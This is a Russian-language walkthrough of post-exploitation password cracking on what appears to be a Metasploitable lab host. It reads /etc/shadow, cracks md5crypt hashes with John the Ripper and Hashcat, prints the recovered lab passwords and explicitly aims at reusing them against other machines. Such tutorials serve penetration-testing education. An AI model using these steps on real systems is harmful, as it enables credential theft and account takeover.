Взлом хешей файла shadow после получения root-доступа к Linux

Взлом хешей файла shadow после получения root-доступа к Linux

После получения root-доступа к Linux важно не останавливаться на достигнутом. Почему бы не попробовать взломать пароли пользователей? Если повезет и для входа в разные системы будет использоваться одна и та же учетная запись, можно распространить атаку и на другие машины.

Для взлома паролей есть два испытанных инструмента: John the Ripper и Hashcat.

Файлы passwd и shadow

В Linux-системах особенный интерес представляют два файла: /etc/passwd и /etc/shadow. Файл /etc/passwd содержит основную информацию обо всех учетных записях в системе: о пользователе root, о служебных учетных записях и о реальных пользователях. Каждая строка файла /etc/passwd включает в себя семь полей. Типичная строка будет выглядеть примерно так:

msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash

Третье поле содержит уникальный номер — идентификатор пользователя. В четвертом поле идет идентификатор группы. Пятое поле, как правило, содержит полное имя пользователя, хотя может быть пустым. Шестое поле — домашний каталог пользователя. И, наконец, седьмое поле содержит оболочку по умолчанию (обычно /bin/bash).

Файл /etc/shadow хранит зашифрованные пароли пользователей системы. В отличие от файла /etc/passwd, доступного для чтения всем пользователям, файл /etc/shadow доступен только пользователю с правами root. Помимо зашифрованных паролей, в файле shadow также содержится и другая информация, например сроки действия паролей. Типичная строка файла /etc/shadow будет выглядеть примерно так:

msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

После эксплуатации уязвимости ядра и получения доступа на корневом уровне можно использовать эти два файла, чтобы попробовать раскрыть пароли других пользователей и получить доступ к другим системам.

Взлом хешей с помощью John the Ripper

В первую очередь нужно скопировать содержимое файлов /etc/passwd и /etc/shadow в отдельные текстовые файлы на локальной машине. Пусть это будут файлы passwd.txt и shadow.txt соответственно.

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
cat /etc/shadow
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
mail:*:14684:0:99999:7:::
news:*:14684:0:99999:7:::
uucp:*:14684:0:99999:7:::
proxy:*:14684:0:99999:7:::
www-data:*:14684:0:99999:7:::
backup:*:14684:0:99999:7:::
list:*:14684:0:99999:7:::
irc:*:14684:0:99999:7:::
gnats:*:14684:0:99999:7:::
nobody:*:14684:0:99999:7:::
libuuid:!:14684:0:99999:7:::
dhcp:*:14684:0:99999:7:::
syslog:*:14684:0:99999:7:::
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
sshd:*:14684:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
bind:*:14685:0:99999:7:::
postfix:*:14685:0:99999:7:::
ftp:*:14685:0:99999:7:::
postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:14685:0:99999:7:::
mysql:!:14685:0:99999:7:::
tomcat55:*:14691:0:99999:7:::
distccd:*:14698:0:99999:7:::
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7:::
service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:14715:0:99999:7:::
telnetd:*:14715:0:99999:7:::
proftpd:!:14727:0:99999:7:::
statd:*:15474:0:99999:7:::

John the Ripper — популярный инструмент для взлома паролей, поддерживающий множество типов хешей. Кроме того, у него есть крайне полезная функция автораспознавания типа хеша. Инструмент существует уже довольно давно и имеет репутацию одного из самых эффективных и удобных взломщиков.

Прежде чем начать скармливать хеши «Джону», нам нужно объединить файлы passwd и shadow в один с помощью утилиты unshadow. На выходе получим формат, который Джон сможет прочесть. Запустим следующую команду, чтобы объединить исходные данные в новом текстовом файле с названием passwords.txt.

«Джон» может работать и самостоятельно: нужно просто ввести john и указать исходный файл. Но лучше помочь ему и предоставить wordlist — список слов или словарь, содержащий возможные пароли. В каталоге /usr/share/wordlists есть несколько словарей, но мы будем использовать словарь sqlmap.txt, так как он выглядит гораздо внушительнее. С помощью флага --wordlist укажем, какой словарь следует использовать, и передадим «Джону» исходный файл:

john --wordlist=/usr/share/wordlists/sqlmap.txt passwords.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "aix-smd5"
Use the "--format=aix-smd5" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 7 password hashes with 7 different salts (md5crypt, crypt(3) $1$ [MD5 128/128 SSE2 4x3])
Remaining 1 password hash
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:51 DONE (2018-08-06 14:10) 0g/s 27478p/s 27478c/s 27478C/s Zzzzzzz1..zzzzzzzzzzzzzzz
Session completed

Тип используемого хеша «Джон» определил как md5crypt, также известный как aix-smd5. Спустя некоторое время сессия успешно завершается. Теперь можно использовать флаг --show, чтобы увидеть успешно взломанные пароли:

john --show passwords.txt
sys:batman:3:3:sys:/dev:/bin/sh
klog:123456789:103:104::/home/klog:/bin/false
msfadmin:msfadmin:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
postgres:postgres:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
user:user:1001:1001:just a user,111,,:/home/user:/bin/bash
service:service:1002:1002:,,,:/home/service:/bin/bash

6 password hashes cracked, 1 left

После имени пользователя, указанного в первом поле, во втором поле мы теперь видим пароль в виде открытого текста. «Джон» смог взломать шесть из семи хешей. Результат в каждом конкретном случае будет зависеть от используемого железа, от вспомогательных словарей и, конечно же, от длины и сложности паролей, которые требуется взломать

Взлом хешей с помощью Hashcat

Еще один мощный инструмент для взлома хешей — Hashcat. У него множество функций, есть версии на базе CPU и GPU. С выходом Hashcat v3.00 инструменты GPU и CPU были объединены в один. Версия, предназначенная только для CPU, получила название Hashcat-legacy. В отличие от «Джона», Hashcat не такой привередливый — ему можно сразу предоставить непосредственно хеши паролей. Скопируем хеши, которые нужно взломать, в новый текстовый файл с названием hashes.txt:

cat hashes.txt
$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.
$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0
$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0
$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/
$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/
$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0
$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//

В зависимости от того, какой тип хеша нужно взломать, Hashcat предлагает разные режимы работы. Так как «Джон» уже определил тип хешей нашего файла shadow как md5crypt, мы можем ввести hashcat --help, чтобы увидеть все опции и режимы, доступные для данного алгоритма шифрования. Судя по всему, для md5crypt нужно использовать режим 500:

0500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)        | Operating Systems
3200 | bcrypt $2*$, Blowfish (Unix)                     | Operating Systems
7400 | sha256crypt $5$, SHA256 (Unix)                   | Operating Systems
1800 | sha512crypt $6$, SHA512 (Unix)                   | Operating Systems
 122 | macOS v10.4, MacOS v10.5, MacOS v10.6            | Operating Systems
1722 | macOS v10.7                                      | Operating Systems
7100 | macOS v10.8+ (PBKDF2-SHA512)                     | Operating Systems

Для запуска взлома выполним следующую команду:

hashcat -m 500 -a 0 -o cracked.txt hashes.txt /usr/share/wordlists/sqlmap.txt -O
hashcat (v4.1.0) starting...

* Device #2: Not a native Intel OpenCL runtime. Expect massive speed loss.
             You can use --force to override, but do not report related errors.
OpenCL Platform #1: Intel(R) Corporation
========================================
* Device #1: Intel(R) Core(TM) i5 CPU       M 480  @ 2.67GHz, 934/3736 MB allocatable, 4MCU

OpenCL Platform #2: The pocl project
====================================
* Device #2: pthread-Intel(R) Core(TM) i5 CPU       M 480  @ 2.67GHz, skipped.

Hashes: 7 digests; 7 unique digests, 7 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Optimized-Kernel
* Zero-Byte

Тут требуется несколько пояснений:

  • Флаг -m задает режим работы.
  • Флаг -a определяет тип атаки. В нашем случае это 0 — простой режим, используемый по умолчанию.
  • Далее с помощью флага -o мы указали выходной файл — cracked.txt. В качестве исходного файла с хешами мы передали файл hashes.txt. Как и John the Ripper, Hashcat позволяет использовать словари паролей.
  • Наконец, флаг -O включает функцию оптимизации ядер (нужен этот флаг или нет, зависит от того, какая система используется, однако следует иметь в виду, что он ограничивает длину паролей).

Пока Hashcat делает свою работу, можно в любой момент ввести s, чтобы посмотреть ее статус и оценить прогресс:

[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => s

Session..........: hashcat
Status...........: Running
Hash.Type........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: hashes.txt
Time.Started.....: Mon Aug  6 14:18:10 2018 (30 secs)
Time.Estimated...: Mon Aug  6 14:21:08 2018 (2 mins, 28 secs)
Guess.Base.......: File (/usr/share/wordlists/sqlmap.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:    15816 H/s (7.84ms) @ Accel:256 Loops:125 Thr:1 Vec:4
Recovered........: 5/7 (71.43%) Digests, 5/7 (71.43%) Salts
Progress.........: 1648627/9845703 (16.74%)
Rejected.........: 3059/1648627 (0.19%)
Restore.Point....: 234929/1406529 (16.70%)
Candidates.#1....: 9dH8eJEs -> 9notenler
HWMon.Dev.#1.....: N/A

Когда процесс будет близок к завершению, вы увидите соответствующее сообщение, а также дополнительную информацию: о количестве восстановленных хешей, времени начала и времени завершения работы.

Approaching final keyspace - workload adjusted.

Session..........: hashcat
Status...........: Exhausted
Hash.Type........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: hashes.txt
Time.Started.....: Mon Aug  6 14:18:10 2018 (2 mins, 59 secs)
Time.Estimated...: Mon Aug  6 14:21:09 2018 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/sqlmap.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:    15738 H/s (8.15ms) @ Accel:256 Loops:125 Thr:1 Vec:4
Recovered........: 5/7 (71.43%) Digests, 5/7 (71.43%) Salts
Progress.........: 9845703/9845703 (100.00%)
Rejected.........: 30891/9845703 (0.31%)
Restore.Point....: 1406529/1406529 (100.00%)
Candidates.#1....: zzbell0506 -> zzzzzzzzzzzzzzz
HWMon.Dev.#1.....: N/A

Started: Mon Aug  6 14:18:06 2018
Stopped: Mon Aug  6 14:21:10 2018

Теперь можно отобразить содержимое файла cracked.txt и увидеть пароли в открытом виде:

cat cracked.txt
$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:batman
$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:postgres
$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:service
$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:user

Онлайн-сервисы для взлома хешей

Широкое распространение облачных технологий и распределенных вычислений вывело взлом паролей на совершенно новый уровень. Если хакеры-одиночки используют виртуальную машину или ноутбук, в лучшем случае — мощный стационарный компьютер, то в распоряжении онлайн-сервисов находятся целые выделенные серверы. Используя такие сайты, как CrackStation, Online Hash Crack и MD5/Sha1 Hash Cracker, любой желающий может взломать пароль прямо в браузере. Хотя ни один из этих сервисов, кажется, не поддерживает хеши md5crypt, с которыми мы столкнулись, они поддерживают другие, более распространенные форматы: MD5, SHA1, LM.

Напоследок одно важное замечание. Если вам не удалось найти сервис, поддерживающий нужный вам формат хеша, вы, скорее всего, сэкономите себе кучу времени, если просто попытаетесь погуглить. Искать можно прямо по конкретному хешу, который вы хотите взломать. Если это хеш от какого-то простого пароля или хеш, который уже кто-то взломал, велика вероятность, что гугл-поиск поможет.

Где кванты и ИИ становятся искусством?

На перекрестке науки и фантазии — наш канал

Подписаться